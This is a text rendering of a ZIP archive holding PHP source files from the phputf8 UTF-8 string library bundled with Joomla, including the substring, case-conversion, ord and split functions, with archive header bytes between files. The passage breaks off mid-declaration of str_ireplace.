PKÜ�\�����,vendor/joomla/string/src/phputf8/ucfirst.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to ucfirst * Make a string's first character uppercase * Note: requires utf8_strtoupper * @param string * @return string with first character as upper case (if applicable) * @see http://www.php.net/ucfirst * @see utf8_strtoupper * @package utf8 */ function utf8_ucfirst($str){ switch ( utf8_strlen($str) ) { case 0: return ''; break; case 1: return utf8_strtoupper($str); break; default: preg_match('/^(.{1})(.*)$/us', $str, $matches); return utf8_strtoupper($matches[1]).$matches[2]; break; } } PKÜ�\ֱ9���2vendor/joomla/string/src/phputf8/mbstring/core.phpnu�[���<?php /** * @package utf8 */ /** * Define UTF8_CORE as required */ if ( !defined('UTF8_CORE') ) { define('UTF8_CORE',TRUE); } //-------------------------------------------------------------------- /** * Wrapper round mb_strlen * Assumes you have mb_internal_encoding to UTF-8 already * Note: this function does not count bad bytes in the string - these * are simply ignored * @param string UTF-8 string * @return int number of UTF-8 characters in string * @package utf8 */ function utf8_strlen($str){ return mb_strlen($str); } //-------------------------------------------------------------------- /** * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_strpos * Find position of first occurrence of a string * @param string haystack * @param string needle (you should validate this with utf8_is_valid) * @param integer offset in characters (from left) * @return mixed integer position or FALSE on failure * @package utf8 */ function utf8_strpos($str, $search, $offset = FALSE){ if ( $offset === FALSE ) { return mb_strpos($str, $search); } else { return mb_strpos($str, $search, $offset); } } //-------------------------------------------------------------------- /** * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_strrpos * Find position of last occurrence of a char in a string * @param string haystack * @param string needle (you should validate this with utf8_is_valid) * @param integer (optional) offset (from left) * @return mixed integer position or FALSE on failure * @package utf8 */ function utf8_strrpos($str, $search, $offset = FALSE){ if ( $offset === FALSE ) { # Emulate behaviour of strrpos rather than raising warning if ( empty($str) ) { return FALSE; } return mb_strrpos($str, $search); } else { if ( !is_int($offset) ) { trigger_error('utf8_strrpos expects parameter 3 to be long',E_USER_WARNING); return FALSE; } $str = mb_substr($str, $offset); if ( FALSE !== ( $pos = mb_strrpos($str, $search) ) ) { return $pos + $offset; } return FALSE; } } //-------------------------------------------------------------------- /** * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_substr * Return part of a string given character offset (and optionally length) * @param string * @param integer number of UTF-8 characters offset (from left) * @param integer (optional) length in UTF-8 characters from offset * @return mixed string or FALSE if failure * @package utf8 */ function utf8_substr($str, $offset, $length = FALSE){ if ( $length === FALSE ) { return mb_substr($str, (int)$offset); } else { return mb_substr($str, (int)$offset, (int)$length); } } //-------------------------------------------------------------------- /** * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_strtolower * Make a string lowercase * Note: The concept of a characters "case" only exists is some alphabets * such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard * Annex #21: Case Mappings * @param string * @return mixed either string in lowercase or FALSE is UTF-8 invalid * @package utf8 */ function utf8_strtolower($str){ return mb_strtolower($str); } //-------------------------------------------------------------------- /** * Assumes mbstring internal encoding is set to UTF-8 * Wrapper around mb_strtoupper * Make a string uppercase * Note: The concept of a characters "case" only exists is some alphabets * such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard * Annex #21: Case Mappings * @param string * @return mixed either string in lowercase or FALSE is UTF-8 invalid * @package utf8 */ function utf8_strtoupper($str){ return mb_strtoupper($str); } PKÜ�\�h�w�A�A0vendor/joomla/string/src/phputf8/native/core.phpnu�[���<?php /** * @package utf8 */ /** * Define UTF8_CORE as required */ if ( !defined('UTF8_CORE') ) { define('UTF8_CORE',TRUE); } //-------------------------------------------------------------------- /** * Unicode aware replacement for strlen(). Returns the number * of characters in the string (not the number of bytes), replacing * multibyte characters with a single byte equivalent * utf8_decode() converts characters that are not in ISO-8859-1 * to '?', which, for the purpose of counting, is alright - It's * much faster than iconv_strlen * Note: this function does not count bad UTF-8 bytes in the string * - these are simply ignored * @author <chernyshevsky at hotmail dot com> * @link http://www.php.net/manual/en/function.strlen.php * @link http://www.php.net/manual/en/function.utf8-decode.php * @param string UTF-8 string * @return int number of UTF-8 characters in string * @package utf8 */ function utf8_strlen($str){ return strlen(utf8_decode($str)); } //-------------------------------------------------------------------- /** * UTF-8 aware alternative to strpos * Find position of first occurrence of a string * Note: This will get alot slower if offset is used * Note: requires utf8_strlen amd utf8_substr to be loaded * @param string haystack * @param string needle (you should validate this with utf8_is_valid) * @param integer offset in characters (from left) * @return mixed integer position or FALSE on failure * @see http://www.php.net/strpos * @see utf8_strlen * @see utf8_substr * @package utf8 */ function utf8_strpos($str, $needle, $offset = NULL) { if ( is_null($offset) ) { $ar = explode($needle, $str, 2); if ( count($ar) > 1 ) { return utf8_strlen($ar[0]); } return FALSE; } else { if ( !is_int($offset) ) { trigger_error('utf8_strpos: Offset must be an integer',E_USER_ERROR); return FALSE; } $str = utf8_substr($str, $offset); if ( FALSE !== ( $pos = utf8_strpos($str, $needle) ) ) { return $pos + $offset; } return FALSE; } } //-------------------------------------------------------------------- /** * UTF-8 aware alternative to strrpos * Find position of last occurrence of a char in a string * Note: This will get alot slower if offset is used * Note: requires utf8_substr and utf8_strlen to be loaded * @param string haystack * @param string needle (you should validate this with utf8_is_valid) * @param integer (optional) offset (from left) * @return mixed integer position or FALSE on failure * @see http://www.php.net/strrpos * @see utf8_substr * @see utf8_strlen * @package utf8 */ function utf8_strrpos($str, $needle, $offset = NULL) { if ( is_null($offset) ) { $ar = explode($needle, $str); if ( count($ar) > 1 ) { // Pop off the end of the string where the last match was made array_pop($ar); $str = join($needle,$ar); return utf8_strlen($str); } return FALSE; } else { if ( !is_int($offset) ) { trigger_error('utf8_strrpos expects parameter 3 to be long',E_USER_WARNING); return FALSE; } $str = utf8_substr($str, $offset); if ( FALSE !== ( $pos = utf8_strrpos($str, $needle) ) ) { return $pos + $offset; } return FALSE; } } //-------------------------------------------------------------------- /** * UTF-8 aware alternative to substr * Return part of a string given character offset (and optionally length) * * Note arguments: comparied to substr - if offset or length are * not integers, this version will not complain but rather massages them * into an integer. * * Note on returned values: substr documentation states false can be * returned in some cases (e.g. offset > string length) * mb_substr never returns false, it will return an empty string instead. * This adopts the mb_substr approach * * Note on implementation: PCRE only supports repetitions of less than * 65536, in order to accept up to MAXINT values for offset and length, * we'll repeat a group of 65535 characters when needed. * * Note on implementation: calculating the number of characters in the * string is a relatively expensive operation, so we only carry it out when * necessary. It isn't necessary for +ve offsets and no specified length * * @author Chris Smith<chris@jalakai.co.uk> * @param string * @param integer number of UTF-8 characters offset (from left) * @param integer (optional) length in UTF-8 characters from offset * @return mixed string or FALSE if failure * @package utf8 */ function utf8_substr($str, $offset, $length = NULL) { // generates E_NOTICE // for PHP4 objects, but not PHP5 objects $str = (string)$str; $offset = (int)$offset; if (!is_null($length)) $length = (int)$length; // handle trivial cases if ($length === 0) return ''; if ($offset < 0 && $length < 0 && $length < $offset) return ''; // normalise negative offsets (we could use a tail // anchored pattern, but they are horribly slow!) if ($offset < 0) { // see notes $strlen = strlen(utf8_decode($str)); $offset = $strlen + $offset; if ($offset < 0) $offset = 0; } $Op = ''; $Lp = ''; // establish a pattern for offset, a // non-captured group equal in length to offset if ($offset > 0) { $Ox = (int)($offset/65535); $Oy = $offset%65535; if ($Ox) { $Op = '(?:.{65535}){'.$Ox.'}'; } $Op = '^(?:'.$Op.'.{'.$Oy.'})'; } else { // offset == 0; just anchor the pattern $Op = '^'; } // establish a pattern for length if (is_null($length)) { // the rest of the string $Lp = '(.*)$'; } else { if (!isset($strlen)) { // see notes $strlen = strlen(utf8_decode($str)); } // another trivial case if ($offset > $strlen) return ''; if ($length > 0) { // reduce any length that would // go passed the end of the string $length = min($strlen-$offset, $length); $Lx = (int)( $length / 65535 ); $Ly = $length % 65535; // negative length requires a captured group // of length characters if ($Lx) $Lp = '(?:.{65535}){'.$Lx.'}'; $Lp = '('.$Lp.'.{'.$Ly.'})'; } else if ($length < 0) { if ( $length < ($offset - $strlen) ) { return ''; } $Lx = (int)((-$length)/65535); $Ly = (-$length)%65535; // negative length requires ... capture everything // except a group of -length characters // anchored at the tail-end of the string if ($Lx) $Lp = '(?:.{65535}){'.$Lx.'}'; $Lp = '(.*)(?:'.$Lp.'.{'.$Ly.'})$'; } } if (!preg_match( '#'.$Op.$Lp.'#us',$str, $match )) { return ''; } return $match[1]; } //--------------------------------------------------------------- /** * UTF-8 aware alternative to strtolower * Make a string lowercase * Note: The concept of a characters "case" only exists is some alphabets * such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard * Annex #21: Case Mappings * Note: requires utf8_to_unicode and utf8_from_unicode * @author Andreas Gohr <andi@splitbrain.org> * @param string * @return mixed either string in lowercase or FALSE is UTF-8 invalid * @see http://www.php.net/strtolower * @see utf8_to_unicode * @see utf8_from_unicode * @see http://www.unicode.org/reports/tr21/tr21-5.html * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @package utf8 */ function utf8_strtolower($string){ static $UTF8_UPPER_TO_LOWER = NULL; if ( is_null($UTF8_UPPER_TO_LOWER) ) { $UTF8_UPPER_TO_LOWER = array( 0x0041=>0x0061, 0x03A6=>0x03C6, 0x0162=>0x0163, 0x00C5=>0x00E5, 0x0042=>0x0062, 0x0139=>0x013A, 0x00C1=>0x00E1, 0x0141=>0x0142, 0x038E=>0x03CD, 0x0100=>0x0101, 0x0490=>0x0491, 0x0394=>0x03B4, 0x015A=>0x015B, 0x0044=>0x0064, 0x0393=>0x03B3, 0x00D4=>0x00F4, 0x042A=>0x044A, 0x0419=>0x0439, 0x0112=>0x0113, 0x041C=>0x043C, 0x015E=>0x015F, 0x0143=>0x0144, 0x00CE=>0x00EE, 0x040E=>0x045E, 0x042F=>0x044F, 0x039A=>0x03BA, 0x0154=>0x0155, 0x0049=>0x0069, 0x0053=>0x0073, 0x1E1E=>0x1E1F, 0x0134=>0x0135, 0x0427=>0x0447, 0x03A0=>0x03C0, 0x0418=>0x0438, 0x00D3=>0x00F3, 0x0420=>0x0440, 0x0404=>0x0454, 0x0415=>0x0435, 0x0429=>0x0449, 0x014A=>0x014B, 0x0411=>0x0431, 0x0409=>0x0459, 0x1E02=>0x1E03, 0x00D6=>0x00F6, 0x00D9=>0x00F9, 0x004E=>0x006E, 0x0401=>0x0451, 0x03A4=>0x03C4, 0x0423=>0x0443, 0x015C=>0x015D, 0x0403=>0x0453, 0x03A8=>0x03C8, 0x0158=>0x0159, 0x0047=>0x0067, 0x00C4=>0x00E4, 0x0386=>0x03AC, 0x0389=>0x03AE, 0x0166=>0x0167, 0x039E=>0x03BE, 0x0164=>0x0165, 0x0116=>0x0117, 0x0108=>0x0109, 0x0056=>0x0076, 0x00DE=>0x00FE, 0x0156=>0x0157, 0x00DA=>0x00FA, 0x1E60=>0x1E61, 0x1E82=>0x1E83, 0x00C2=>0x00E2, 0x0118=>0x0119, 0x0145=>0x0146, 0x0050=>0x0070, 0x0150=>0x0151, 0x042E=>0x044E, 0x0128=>0x0129, 0x03A7=>0x03C7, 0x013D=>0x013E, 0x0422=>0x0442, 0x005A=>0x007A, 0x0428=>0x0448, 0x03A1=>0x03C1, 0x1E80=>0x1E81, 0x016C=>0x016D, 0x00D5=>0x00F5, 0x0055=>0x0075, 0x0176=>0x0177, 0x00DC=>0x00FC, 0x1E56=>0x1E57, 0x03A3=>0x03C3, 0x041A=>0x043A, 0x004D=>0x006D, 0x016A=>0x016B, 0x0170=>0x0171, 0x0424=>0x0444, 0x00CC=>0x00EC, 0x0168=>0x0169, 0x039F=>0x03BF, 0x004B=>0x006B, 0x00D2=>0x00F2, 0x00C0=>0x00E0, 0x0414=>0x0434, 0x03A9=>0x03C9, 0x1E6A=>0x1E6B, 0x00C3=>0x00E3, 0x042D=>0x044D, 0x0416=>0x0436, 0x01A0=>0x01A1, 0x010C=>0x010D, 0x011C=>0x011D, 0x00D0=>0x00F0, 0x013B=>0x013C, 0x040F=>0x045F, 0x040A=>0x045A, 0x00C8=>0x00E8, 0x03A5=>0x03C5, 0x0046=>0x0066, 0x00DD=>0x00FD, 0x0043=>0x0063, 0x021A=>0x021B, 0x00CA=>0x00EA, 0x0399=>0x03B9, 0x0179=>0x017A, 0x00CF=>0x00EF, 0x01AF=>0x01B0, 0x0045=>0x0065, 0x039B=>0x03BB, 0x0398=>0x03B8, 0x039C=>0x03BC, 0x040C=>0x045C, 0x041F=>0x043F, 0x042C=>0x044C, 0x00DE=>0x00FE, 0x00D0=>0x00F0, 0x1EF2=>0x1EF3, 0x0048=>0x0068, 0x00CB=>0x00EB, 0x0110=>0x0111, 0x0413=>0x0433, 0x012E=>0x012F, 0x00C6=>0x00E6, 0x0058=>0x0078, 0x0160=>0x0161, 0x016E=>0x016F, 0x0391=>0x03B1, 0x0407=>0x0457, 0x0172=>0x0173, 0x0178=>0x00FF, 0x004F=>0x006F, 0x041B=>0x043B, 0x0395=>0x03B5, 0x0425=>0x0445, 0x0120=>0x0121, 0x017D=>0x017E, 0x017B=>0x017C, 0x0396=>0x03B6, 0x0392=>0x03B2, 0x0388=>0x03AD, 0x1E84=>0x1E85, 0x0174=>0x0175, 0x0051=>0x0071, 0x0417=>0x0437, 0x1E0A=>0x1E0B, 0x0147=>0x0148, 0x0104=>0x0105, 0x0408=>0x0458, 0x014C=>0x014D, 0x00CD=>0x00ED, 0x0059=>0x0079, 0x010A=>0x010B, 0x038F=>0x03CE, 0x0052=>0x0072, 0x0410=>0x0430, 0x0405=>0x0455, 0x0402=>0x0452, 0x0126=>0x0127, 0x0136=>0x0137, 0x012A=>0x012B, 0x038A=>0x03AF, 0x042B=>0x044B, 0x004C=>0x006C, 0x0397=>0x03B7, 0x0124=>0x0125, 0x0218=>0x0219, 0x00DB=>0x00FB, 0x011E=>0x011F, 0x041E=>0x043E, 0x1E40=>0x1E41, 0x039D=>0x03BD, 0x0106=>0x0107, 0x03AB=>0x03CB, 0x0426=>0x0446, 0x00DE=>0x00FE, 0x00C7=>0x00E7, 0x03AA=>0x03CA, 0x0421=>0x0441, 0x0412=>0x0432, 0x010E=>0x010F, 0x00D8=>0x00F8, 0x0057=>0x0077, 0x011A=>0x011B, 0x0054=>0x0074, 0x004A=>0x006A, 0x040B=>0x045B, 0x0406=>0x0456, 0x0102=>0x0103, 0x039B=>0x03BB, 0x00D1=>0x00F1, 0x041D=>0x043D, 0x038C=>0x03CC, 0x00C9=>0x00E9, 0x00D0=>0x00F0, 0x0407=>0x0457, 0x0122=>0x0123, ); } $uni = utf8_to_unicode($string); if ( !$uni ) { return FALSE; } $cnt = count($uni); for ($i=0; $i < $cnt; $i++){ if ( isset($UTF8_UPPER_TO_LOWER[$uni[$i]]) ) { $uni[$i] = $UTF8_UPPER_TO_LOWER[$uni[$i]]; } } return utf8_from_unicode($uni); } //--------------------------------------------------------------- /** * UTF-8 aware alternative to strtoupper * Make a string uppercase * Note: The concept of a characters "case" only exists is some alphabets * such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does * not exist in the Chinese alphabet, for example. See Unicode Standard * Annex #21: Case Mappings * Note: requires utf8_to_unicode and utf8_from_unicode * @author Andreas Gohr <andi@splitbrain.org> * @param string * @return mixed either string in lowercase or FALSE is UTF-8 invalid * @see http://www.php.net/strtoupper * @see utf8_to_unicode * @see utf8_from_unicode * @see http://www.unicode.org/reports/tr21/tr21-5.html * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @package utf8 */ function utf8_strtoupper($string){ static $UTF8_LOWER_TO_UPPER = NULL; if ( is_null($UTF8_LOWER_TO_UPPER) ) { $UTF8_LOWER_TO_UPPER = array( 0x0061=>0x0041, 0x03C6=>0x03A6, 0x0163=>0x0162, 0x00E5=>0x00C5, 0x0062=>0x0042, 0x013A=>0x0139, 0x00E1=>0x00C1, 0x0142=>0x0141, 0x03CD=>0x038E, 0x0101=>0x0100, 0x0491=>0x0490, 0x03B4=>0x0394, 0x015B=>0x015A, 0x0064=>0x0044, 0x03B3=>0x0393, 0x00F4=>0x00D4, 0x044A=>0x042A, 0x0439=>0x0419, 0x0113=>0x0112, 0x043C=>0x041C, 0x015F=>0x015E, 0x0144=>0x0143, 0x00EE=>0x00CE, 0x045E=>0x040E, 0x044F=>0x042F, 0x03BA=>0x039A, 0x0155=>0x0154, 0x0069=>0x0049, 0x0073=>0x0053, 0x1E1F=>0x1E1E, 0x0135=>0x0134, 0x0447=>0x0427, 0x03C0=>0x03A0, 0x0438=>0x0418, 0x00F3=>0x00D3, 0x0440=>0x0420, 0x0454=>0x0404, 0x0435=>0x0415, 0x0449=>0x0429, 0x014B=>0x014A, 0x0431=>0x0411, 0x0459=>0x0409, 0x1E03=>0x1E02, 0x00F6=>0x00D6, 0x00F9=>0x00D9, 0x006E=>0x004E, 0x0451=>0x0401, 0x03C4=>0x03A4, 0x0443=>0x0423, 0x015D=>0x015C, 0x0453=>0x0403, 0x03C8=>0x03A8, 0x0159=>0x0158, 0x0067=>0x0047, 0x00E4=>0x00C4, 0x03AC=>0x0386, 0x03AE=>0x0389, 0x0167=>0x0166, 0x03BE=>0x039E, 0x0165=>0x0164, 0x0117=>0x0116, 0x0109=>0x0108, 0x0076=>0x0056, 0x00FE=>0x00DE, 0x0157=>0x0156, 0x00FA=>0x00DA, 0x1E61=>0x1E60, 0x1E83=>0x1E82, 0x00E2=>0x00C2, 0x0119=>0x0118, 0x0146=>0x0145, 0x0070=>0x0050, 0x0151=>0x0150, 0x044E=>0x042E, 0x0129=>0x0128, 0x03C7=>0x03A7, 0x013E=>0x013D, 0x0442=>0x0422, 0x007A=>0x005A, 0x0448=>0x0428, 0x03C1=>0x03A1, 0x1E81=>0x1E80, 0x016D=>0x016C, 0x00F5=>0x00D5, 0x0075=>0x0055, 0x0177=>0x0176, 0x00FC=>0x00DC, 0x1E57=>0x1E56, 0x03C3=>0x03A3, 0x043A=>0x041A, 0x006D=>0x004D, 0x016B=>0x016A, 0x0171=>0x0170, 0x0444=>0x0424, 0x00EC=>0x00CC, 0x0169=>0x0168, 0x03BF=>0x039F, 0x006B=>0x004B, 0x00F2=>0x00D2, 0x00E0=>0x00C0, 0x0434=>0x0414, 0x03C9=>0x03A9, 0x1E6B=>0x1E6A, 0x00E3=>0x00C3, 0x044D=>0x042D, 0x0436=>0x0416, 0x01A1=>0x01A0, 0x010D=>0x010C, 0x011D=>0x011C, 0x00F0=>0x00D0, 0x013C=>0x013B, 0x045F=>0x040F, 0x045A=>0x040A, 0x00E8=>0x00C8, 0x03C5=>0x03A5, 0x0066=>0x0046, 0x00FD=>0x00DD, 0x0063=>0x0043, 0x021B=>0x021A, 0x00EA=>0x00CA, 0x03B9=>0x0399, 0x017A=>0x0179, 0x00EF=>0x00CF, 0x01B0=>0x01AF, 0x0065=>0x0045, 0x03BB=>0x039B, 0x03B8=>0x0398, 0x03BC=>0x039C, 0x045C=>0x040C, 0x043F=>0x041F, 0x044C=>0x042C, 0x00FE=>0x00DE, 0x00F0=>0x00D0, 0x1EF3=>0x1EF2, 0x0068=>0x0048, 0x00EB=>0x00CB, 0x0111=>0x0110, 0x0433=>0x0413, 0x012F=>0x012E, 0x00E6=>0x00C6, 0x0078=>0x0058, 0x0161=>0x0160, 0x016F=>0x016E, 0x03B1=>0x0391, 0x0457=>0x0407, 0x0173=>0x0172, 0x00FF=>0x0178, 0x006F=>0x004F, 0x043B=>0x041B, 0x03B5=>0x0395, 0x0445=>0x0425, 0x0121=>0x0120, 0x017E=>0x017D, 0x017C=>0x017B, 0x03B6=>0x0396, 0x03B2=>0x0392, 0x03AD=>0x0388, 0x1E85=>0x1E84, 0x0175=>0x0174, 0x0071=>0x0051, 0x0437=>0x0417, 0x1E0B=>0x1E0A, 0x0148=>0x0147, 0x0105=>0x0104, 0x0458=>0x0408, 0x014D=>0x014C, 0x00ED=>0x00CD, 0x0079=>0x0059, 0x010B=>0x010A, 0x03CE=>0x038F, 0x0072=>0x0052, 0x0430=>0x0410, 0x0455=>0x0405, 0x0452=>0x0402, 0x0127=>0x0126, 0x0137=>0x0136, 0x012B=>0x012A, 0x03AF=>0x038A, 0x044B=>0x042B, 0x006C=>0x004C, 0x03B7=>0x0397, 0x0125=>0x0124, 0x0219=>0x0218, 0x00FB=>0x00DB, 0x011F=>0x011E, 0x043E=>0x041E, 0x1E41=>0x1E40, 0x03BD=>0x039D, 0x0107=>0x0106, 0x03CB=>0x03AB, 0x0446=>0x0426, 0x00FE=>0x00DE, 0x00E7=>0x00C7, 0x03CA=>0x03AA, 0x0441=>0x0421, 0x0432=>0x0412, 0x010F=>0x010E, 0x00F8=>0x00D8, 0x0077=>0x0057, 0x011B=>0x011A, 0x0074=>0x0054, 0x006A=>0x004A, 0x045B=>0x040B, 0x0456=>0x0406, 0x0103=>0x0102, 0x03BB=>0x039B, 0x00F1=>0x00D1, 0x043D=>0x041D, 0x03CC=>0x038C, 0x00E9=>0x00C9, 0x00F0=>0x00D0, 0x0457=>0x0407, 0x0123=>0x0122, ); } $uni = utf8_to_unicode($string); if ( !$uni ) { return FALSE; } $cnt = count($uni); for ($i=0; $i < $cnt; $i++){ if( isset($UTF8_LOWER_TO_UPPER[$uni[$i]]) ) { $uni[$i] = $UTF8_LOWER_TO_UPPER[$uni[$i]]; } } return utf8_from_unicode($uni); } PKÜ�\�ь�J J (vendor/joomla/string/src/phputf8/ord.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to ord * Returns the unicode ordinal for a character * * Joomla modification - As of PHP 7.4, curly brace access has been deprecated. As a result this function has been * modified to use square brace syntax * See https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a * for additional references * * @param string UTF-8 encoded character * @return int unicode ordinal for the character * @see http://www.php.net/ord * @see http://www.php.net/manual/en/function.ord.php#46267 */ function utf8_ord($chr) { $ord0 = ord($chr); if ( $ord0 >= 0 && $ord0 <= 127 ) { return $ord0; } if ( !isset($chr[1]) ) { trigger_error('Short sequence - at least 2 bytes expected, only 1 seen'); return FALSE; } $ord1 = ord($chr[1]); if ( $ord0 >= 192 && $ord0 <= 223 ) { return ( $ord0 - 192 ) * 64 + ( $ord1 - 128 ); } if ( !isset($chr[2]) ) { trigger_error('Short sequence - at least 3 bytes expected, only 2 seen'); return FALSE; } $ord2 = ord($chr[2]); if ( $ord0 >= 224 && $ord0 <= 239 ) { return ($ord0-224)*4096 + ($ord1-128)*64 + ($ord2-128); } if ( !isset($chr[3]) ) { trigger_error('Short sequence - at least 4 bytes expected, only 3 seen'); return FALSE; } $ord3 = ord($chr[3]); if ($ord0>=240 && $ord0<=247) { return ($ord0-240)*262144 + ($ord1-128)*4096 + ($ord2-128)*64 + ($ord3-128); } if ( !isset($chr[4]) ) { trigger_error('Short sequence - at least 5 bytes expected, only 4 seen'); return FALSE; } $ord4 = ord($chr[4]); if ($ord0>=248 && $ord0<=251) { return ($ord0-248)*16777216 + ($ord1-128)*262144 + ($ord2-128)*4096 + ($ord3-128)*64 + ($ord4-128); } if ( !isset($chr[5]) ) { trigger_error('Short sequence - at least 6 bytes expected, only 5 seen'); return FALSE; } if ($ord0>=252 && $ord0<=253) { return ($ord0-252) * 1073741824 + ($ord1-128)*16777216 + ($ord2-128)*262144 + ($ord3-128)*4096 + ($ord4-128)*64 + (ord($chr[5])-128); } if ( $ord0 >= 254 && $ord0 <= 255 ) { trigger_error('Invalid UTF-8 with surrogate ordinal '.$ord0); return FALSE; } } PKÜ�\�+0��/vendor/joomla/string/src/phputf8/strcasecmp.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to strcasecmp * A case insensitive string comparison * Note: requires utf8_strtolower * @param string * @param string * @return int * @see http://www.php.net/strcasecmp * @see utf8_strtolower * @package utf8 */ function utf8_strcasecmp($strX, $strY) { $strX = utf8_strtolower($strX); $strY = utf8_strtolower($strY); return strcmp($strX, $strY); } PKÜ�\��{���+vendor/joomla/string/src/phputf8/strrev.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to strrev * Reverse a string * @param string UTF-8 encoded * @return string characters in string reverses * @see http://www.php.net/strrev * @package utf8 */ function utf8_strrev($str){ preg_match_all('/./us', $str, $ar); return join('',array_reverse($ar[0])); } PKÜ�\�e�� � )vendor/joomla/string/src/phputf8/utf8.phpnu�[���<?php /** * This is the dynamic loader for the library. It checks whether you have * the mbstring extension available and includes relevant files * on that basis, falling back to the native (as in written in PHP) version * if mbstring is unavailable. * * It's probably easiest to use this, if you don't want to understand * the dependencies involved, in conjunction with PHP versions etc. At * the same time, you might get better performance by managing loading * yourself. The smartest way to do this, bearing in mind performance, * is probably to "load on demand" - i.e. just before you use these * functions in your code, load the version you need. * * It makes sure the the following functions are available; * utf8_strlen, utf8_strpos, utf8_strrpos, utf8_substr, * utf8_strtolower, utf8_strtoupper * Other functions in the ./native directory depend on these * six functions being available * @package utf8 */ /** * Put the current directory in this constant */ if ( !defined('UTF8') ) { define('UTF8',dirname(__FILE__)); } /** * If string overloading is active, it will break many of the * native implementations. mbstring.func_overload must be set * to 0, 1 or 4 in php.ini (string overloading disabled). * Also need to check we have the correct internal mbstring * encoding */ if (extension_loaded('mbstring')) { /* * Joomla modification - As of PHP 8, the `mbstring.func_overload` configuration has been removed and the * MB_OVERLOAD_STRING constant will no longer be present, so this check only runs for PHP 7 and older * See https://github.com/php/php-src/commit/331e56ce38a91e87a6fb8e88154bb5bde445b132 * and https://github.com/php/php-src/commit/97df99a6d7d96a886ac143337fecad775907589a * for additional references */ if (defined('MB_OVERLOAD_STRING') && ((int) ini_get('mbstring.func_overload')) & MB_OVERLOAD_STRING) { trigger_error('String functions are overloaded by mbstring',E_USER_ERROR); } mb_internal_encoding('UTF-8'); } /** * Check whether PCRE has been compiled with UTF-8 support */ $UTF8_ar = array(); if ( preg_match('/^.{1}$/u',"ñ",$UTF8_ar) != 1 ) { trigger_error('PCRE is not compiled with UTF-8 support',E_USER_ERROR); } unset($UTF8_ar); /** * Load the smartest implementations of utf8_strpos, utf8_strrpos * and utf8_substr */ if ( !defined('UTF8_CORE') ) { if ( function_exists('mb_substr') ) { require_once UTF8 . '/mbstring/core.php'; } else { require_once UTF8 . '/utils/unicode.php'; require_once UTF8 . '/native/core.php'; } } /** * Load the native implementation of utf8_substr_replace */ require_once UTF8 . '/substr_replace.php'; /** * You should now be able to use all the other utf_* string functions */ PKÜ�\���223vendor/joomla/string/src/phputf8/substr_replace.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware substr_replace. * Note: requires utf8_substr to be loaded * @see http://www.php.net/substr_replace * @see utf8_strlen * @see utf8_substr */ function utf8_substr_replace($str, $repl, $start , $length = NULL ) { preg_match_all('/./us', $str, $ar); preg_match_all('/./us', $repl, $rar); if( $length === NULL ) { $length = utf8_strlen($str); } array_splice( $ar[0], $start, $length, $rar[0] ); return join('',$ar[0]); } PKÜ�\�^���.vendor/joomla/string/src/phputf8/str_split.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to str_split * Convert a string to an array * Note: requires utf8_strlen to be loaded * @param string UTF-8 encoded * @param int number to characters to split string by * @return string characters in string reverses * @see http://www.php.net/str_split * @see utf8_strlen * @package utf8 */ function utf8_str_split($str, $split_len = 1) { if ( !preg_match('/^[0-9]+$/',$split_len) || $split_len < 1 ) { return FALSE; } $len = utf8_strlen($str); if ( $len <= $split_len ) { return array($str); } preg_match_all('/.{'.$split_len.'}|[^\x00]{1,'.$split_len.'}$/us', $str, $ar); return $ar[0]; } PKÜ�\:a �__+vendor/joomla/string/src/phputf8/strspn.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to strspn * Find length of initial segment matching mask * Note: requires utf8_strlen and utf8_substr (if start, length are used) * @param string * @return int * @see http://www.php.net/strspn * @package utf8 */ function utf8_strspn($str, $mask, $start = NULL, $length = NULL) { $mask = preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$mask); // Fix for $start but no $length argument. if ($start !== null && $length === null) { $length = utf8_strlen($str); } if ( $start !== NULL || $length !== NULL ) { $str = utf8_substr($str, $start, $length); } preg_match('/^['.$mask.']+/u',$str, $matches); if ( isset($matches[0]) ) { return utf8_strlen($matches[0]); } return 0; } PKÜ�\iؚ�,vendor/joomla/string/src/phputf8/stristr.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to stristr * Find first occurrence of a string using case insensitive comparison * Note: requires utf8_strtolower * @param string * @param string * @return int * @see http://www.php.net/strcasecmp * @see utf8_strtolower * @package utf8 */ function utf8_stristr($str, $search) { if ( strlen($search) == 0 ) { return $str; } $lstr = utf8_strtolower($str); $lsearch = utf8_strtolower($search); //JOOMLA SPECIFIC FIX - BEGIN preg_match('/^(.*)'.preg_quote($lsearch, '/').'/Us',$lstr, $matches); //JOOMLA SPECIFIC FIX - END if ( count($matches) == 2 ) { return substr($str, strlen($matches[1])); } return FALSE; } PKÜ�\@�����1vendor/joomla/string/src/phputf8/str_ireplace.phpnu�[���<?php /** * @package utf8 */ //--------------------------------------------------------------- /** * UTF-8 aware alternative to str_ireplace * Case-insensitive version of str_replace * Note: requires utf8_strtolower * Note: it's not fast and gets slower if $search / $replace is array * Notes: it's based on the assumption that the lower and uppercase * versions of a UTF-8 character will have the same length in bytes * which is currently true given the hash table to strtolower * @param string * @return string * @see http://www.php.net/str_ireplace * @see utf8_strtolower * @package utf8 */ function 